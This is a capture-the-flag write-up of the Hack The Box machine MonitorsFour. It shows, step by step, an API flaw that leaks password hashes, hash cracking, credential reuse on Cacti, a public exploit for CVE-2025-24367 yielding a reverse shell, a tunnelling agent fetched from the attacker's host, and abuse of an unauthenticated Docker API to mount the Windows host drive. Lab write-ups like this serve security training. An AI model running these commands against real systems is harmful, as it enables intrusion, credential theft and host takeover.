Description
MonitorsFour is an easy Hack The Box machine that features:
- Web enumeration to discover an API vulnerable to Insecure Direct Object Reference vulnerability leading to the discovery of database users
- Subdomain Enumeration to discover a Cacti instance with reused credentials from the previous service
- Cacti instance vulnerable to Authenticated Remote Command Execution leads to an user shell in a Docker container
- Privilege Escalation via a vulnerable Docker Desktop installation exposing the Docker socket to the containers without authentication
Footprinting
First, we are going to check with ping command if the machine is active and the system operating system. The target machine IP address is 10.129.126.11.
$ ping -c 3 10.129.126.11
PING 10.129.126.11 (10.129.126.11) 56(84) bytes of data.
64 bytes from 10.129.126.11: icmp_seq=1 ttl=127 time=48.0 ms
64 bytes from 10.129.126.11: icmp_seq=2 ttl=127 time=48.8 ms
64 bytes from 10.129.126.11: icmp_seq=3 ttl=127 time=47.3 ms
--- 10.129.126.11 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2004ms
rtt min/avg/max/mdev = 47.262/48.018/48.822/0.637 ms
The machine is active and with the TTL that equals 127 (128 minus 1 jump) we can assure that it is an Windows machine. Now we are going to do a Nmap TCP SYN port scan to check all opened ports.
$ sudo nmap 10.129.126.11 -sS -Pn -oN nmap_scan
Starting Nmap 7.95 ( https://nmap.org )
Nmap scan report for 10.129.126.11
Host is up (0.048s latency).
Not shown: 998 filtered tcp ports (no-response)
PORT STATE SERVICE
80/tcp open http
5985/tcp open wsman
Nmap done: 1 IP address (1 host up) scanned in 7.96 seconds
We find the opened 80, and 5985 ports.
Enumeration
Then we do a more advanced scan, with service version and scripts.
$ nmap 10.129.126.11 -Pn -sV -sC -p80,5985 -oN nmap_scan_ports
Starting Nmap 7.95 ( https://nmap.org )
Nmap scan report for 10.129.126.11
Host is up (0.047s latency).
PORT STATE SERVICE VERSION
80/tcp open http nginx
|_http-title: Did not follow redirect to http://monitorsfour.htb/
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 31.25 seconds
We move to the web application and we add the monitorsfour.htb host to the /etc/hosts file.
$ echo '10.129.126.11 monitorsfour.htb' | sudo tee -a /etc/hosts
By visiting the web page we find a business offering networking solutions. It is offering a login option.
In the login form we need valid credentials to login.
The login HTTP request is sent to the http://monitorsfour.htb/api/v1/auth API. Let’s enumerate the API to find another endpoints.
$ gobuster dir -u 'http://monitorsfour.htb/api/v1/' -w /usr/share/seclists/Discovery/Web-Content/big.txt
===============================================================
Gobuster v3.8
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://monitorsfour.htb/api/v1/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/big.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.8
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.htaccess (Status: 403) [Size: 146]
/.htpasswd (Status: 403) [Size: 146]
/auth (Status: 405) [Size: 0]
/logout (Status: 302) [Size: 0] [--> /login]
/reset (Status: 405) [Size: 0]
/user (Status: 200) [Size: 35]
/users (Status: 200) [Size: 35]
We find an interesting endpoint that could list the users registered in the system, users.
$ curl 'http://monitorsfour.htb/api/v1/users'
{"error":"Missing token parameter"}
Exploitation
We find that it is requesting the token parameter, let’s enter it with a random parameter. We find that it is detecting an invalid token, but with 0 token it prints all the users registered with its hashed passwords.
$ curl 'http://monitorsfour.htb/api/v1/users?token=1234'
{"error":"Invalid or missing token"}
$ curl 'http://monitorsfour.htb/api/v1/users?token=0'
[{"id":2,"username":"admin","email":"admin@monitorsfour.htb","password":"56b32eb43e6f15395f6c46c1c9e1cd36","role":"super user","token":"8024b78f83f102da4f","name":"Marcus Higgins","position":"System Administrator","dob":"1978-04-26","start_date":"2021-01-12","salary":"320800.00"},{"id":5,"username":"mwatson","email":"mwatson@monitorsfour.htb","password":"69196959c16b26ef00b77d82cf6eb169","role":"user","token":"0e543210987654321","name":"Michael Watson","position":"Website Administrator","dob":"1985-02-15","start_date":"2021-05-11","salary":"75000.00"},{"id":6,"username":"janderson","email":"janderson@monitorsfour.htb","password":"2a22dcf99190c322d974c8df5ba3256b","role":"user","token":"0e999999999999999","name":"Jennifer Anderson","position":"Network Engineer","dob":"1990-07-16","start_date":"2021-06-20","salary":"68000.00"},{"id":7,"username":"dthompson","email":"dthompson@monitorsfour.htb","password":"8d4a7e7fd08555133e056d9aacb1e519","role":"user","token":"0e111111111111111","name":"David Thompson","position":"Database Manager","dob":"1982-11-23","start_date":"2022-09-15","salary":"83000.00"}]
We find that the admin user is called Marcus Higging, with the 56b32eb43e6f15395f6c46c1c9e1cd36 hash. It seems to be a MD5 hash, so we crack it using John The Ripper tool.
$ john --wordlist=/usr/share/wordlists/rockyou.txt --format=Raw-MD5 hash
Using default input encoding: UTF-8
Loaded 1 password hash (Raw-MD5 [MD5 256/256 AVX2 8x3])
Warning: no OpenMP support for this hash type, consider --fork=16
Press 'q' or Ctrl-C to abort, almost any other key for status
wonderful1 (admin)
1g 0:00:00:00 DONE 7.142g/s 120685p/s 120685c/s 120685C/s lachina..fleming
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completed.
We get the wonderful1 password for the admin user. Now we can login in the administrator dashboard.
We find a Changelog menu button that show us the latest changes made to the platform. In the Infrastructure Notice we find that the infrastructure is using a Windows operating system with the Docker Desktop 4.44.2 to enable containerized deployments for the application.
We do not find more interesting information in the platform, so we move to enumerate more subdomains.
$ gobuster vhost -u monitorsfour.htb -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt --append-domain -o vhost_enumeration -r -t 50
===============================================================
Gobuster v3.8
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://monitorsfour.htb
[+] Method: GET
[+] Threads: 50
[+] Wordlist: /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt
[+] User Agent: gobuster/3.8
[+] Timeout: 10s
[+] Append Domain: true
[+] Exclude Hostname Length: false
===============================================================
Starting gobuster in VHOST enumeration mode
===============================================================
cacti.monitorsfour.htb Status: 200 [Size: 14320]
We find that the cacti subdomain, we add it to the /etc/hosts file.
$ echo '10.129.126.11 cacti.monitorsfour.htb' | sudo tee -a /etc/hosts
We find a Cacti instance, in its 1.2.28 version.
We find that we can login in the application with the marcus username (the name of the previous admin user) and the wonderful1 password we found.
This version of Cacti is vulnerable to an Authenticated Remote Command Execution abusing graph creation to create arbitrary PHP scripts in the web root of the application, CVE-2025-24367. We have a proof of concept of the vulnerability developed by TheCyberGeek. We can use the code to obtain a remote shell to the Cacti machine, firstly opening a listening TCP port in 1234 port, nc -nvlp 1234.
$ git clone https://github.com/TheCyberGeek/CVE-2025-24367-Cacti-PoC
$ cd CVE-2025-24367-Cacti-PoC
$ python exploit.py -u marcus -p wonderful1 -i 10.10.14.54 -l 1235 -url http://cacti.monitorsfour.htb
We receive a reverse shell as the www-data user, we upgrade it.
$ nc -nvlp 1234
listening on [any] 1234 ...
connect to [10.10.14.54] from (UNKNOWN) [10.129.126.11] 57756
bash: cannot set terminal process group (8): Inappropriate ioctl for device
bash: no job control in this shell
www-data@821fbd6a43fa:~/html/cacti$ script /dev/null -c bash
script /dev/null -c bash
Script started, output log file is '/dev/null'.
www-data@821fbd6a43fa:~/html/cacti$ ^Z
[1] + 125971 suspended nc -nvlp 1234
$ reset xterm
Post-Exploitation
We find that this is not a Windows system, we are inside a Linux Docker container.
www-data@821fbd6a43fa:~/html/cacti$ env
HOSTNAME=821fbd6a43fa
PHP_VERSION=8.3.27
PHP_INI_DIR=/usr/local/etc/php
...
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
...
www-data@821fbd6a43fa:~/html/cacti$ ip a
...
2: eth0@if6: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default
link/ether 82:5c:2a:a6:fd:b3 brd ff:ff:ff:ff:ff:ff link-netnsid 0
inet 172.18.0.2/16 brd 172.18.255.255 scope global eth0
valid_lft forever preferred_lft forever
In the previous changelog we found that the Windows machine is using Docker Desktop 4.44.2. This version allows unauthenticated access to Docker Engine API from containers, via the configured Docker subnet, at 192.168.65.7:2375 by default, CVE-2025-9074. In some circumstances (e.g. Docker Desktop for Windows with WSL backend) it also allows mounting the host drive with the same privileges as the user running Docker Desktop. We are going to pivot to the 192.168.65.0/24 subnet using ligolo-ng tool. We start the server in our machine and we host the binaries in a HTTP server.
$ sudo ligolo-proxy -selfcert
$ python -m http.server 80 -d /usr/share/ligolo-ng-common-binaries
Then we download the agent binary in the remote machine and we connect to our proxy.
www-data@821fbd6a43fa:~/html/cacti$ cd /tmp
www-data@821fbd6a43fa:/tmp$ curl -o ligolo_agent 'http://10.10.14.54/ligolo-ng_agent_0.8.2_linux_amd64'
www-data@821fbd6a43fa:/tmp$ chmod +x ligolo_agent
www-data@821fbd6a43fa:/tmp$ ./ligolo_agent -ignore-cert -connect 10.10.14.54:11601
Then we create a tunnel to the referred subnetwork.
ligolo-ng » session
? Specify a session : 1 - www-data@821fbd6a43fa - 10.129.126.11:57758 - 825c2aa6fdb3
[Agent : www-data@821fbd6a43fa] » ifcreate
INFO[0198] Generating a random interface name...
INFO[0198] Creating a new notedbarracuda interface...
INFO[0198] Interface created!
[Agent : www-data@821fbd6a43fa] » route_add --name notedbarracuda --route 192.168.65.0/24
INFO[0245] Route created.
[Agent : www-data@821fbd6a43fa] » tunnel_start --tun notedbarracuda
INFO[0273] Starting tunnel to www-data@821fbd6a43fa (825c2aa6fdb3)
Now we check that we have access to the Docker administration HTTP service running in 2375 port.
$ nmap -sV -p 2375 192.168.65.7
Starting Nmap 7.95 ( https://nmap.org )
Nmap scan report for 192.168.65.7
Host is up (0.0067s latency).
PORT STATE SERVICE VERSION
2375/tcp open docker Docker 28.3.2
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 28.19 seconds
We can use the docker-cli Debian package that will install the docker tool to interact with the Docker runtime.
$ apt install docker-cli -y
$ docker -H tcp://192.168.65.7:2375 ps -a
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
821fbd6a43fa docker_setup-nginx-php "docker-php-entrypoi…" 3 weeks ago Up 2 hours 0.0.0.0:80->80/tcp, 9000/tcp web
c2bdd5d10cc5 docker_setup-mariadb "docker-entrypoint.s…" 3 weeks ago Up 2 hours (healthy) 0.0.0.0:3306->3306/tcp mariadb
We find the two running containers: the one containing the HTTP service and the other hosting the MariaDB database. We are going to list the available images.
$ docker -H tcp://192.168.65.7:2375 images
REPOSITORY TAG IMAGE ID CREATED SIZE
docker_setup-nginx-php latest 93b5d01a98de 3 weeks ago 1.28GB
docker_setup-mariadb latest 74ffe0cfb451 3 weeks ago 454MB
alpine latest 4b7ce07002c6 8 weeks ago 12.8MB
We find that the alpine image is available, so we can spawn containers arbitrarily. We are going to create a new container that will map the C:\ folder of the Windows machine to the /mnt folder in the container to access to the Windows machine files. But we cannot use the C:\ path, as the Docker runtime is runing as a WSL2 (Windows Subsystem for Linux 2) virtual machine. We find in the Docker forums that the directory is mapped to the /run/desktop/mnt/host/c folder in the WSL VM. We create the container and then we spawn an interactive shell.
$ docker -H tcp://192.168.65.7:2375 run -it --rm -v /run/desktop/mnt/host/c/:/mnt alpine sh
/ # ls /mnt/
ls: /mnt/DumpStack.log.tmp: Permission denied
ls: /mnt/pagefile.sys: Permission denied
$RECYCLE.BIN PerfLogs ProgramData Users inetpub
$WinREAgent Program Files Recovery Windows
Documents and Settings Program Files (x86) System Volume Information Windows.old
It works. In the mounted folders we have access to the Administrator folder.
/ # ls /mnt/Users/Administrator/
AppData
Application Data
AutoLogon
Contacts
Cookies
Desktop
...
Flags
In the mounted folder we have access to the user.txt and root.txt flags.
/ # cat /mnt/Users/marcus/Desktop/user.txt
<REDACTED>
/ # cat /mnt/Users/Administrator/Desktop/root.txt
<REDACTED>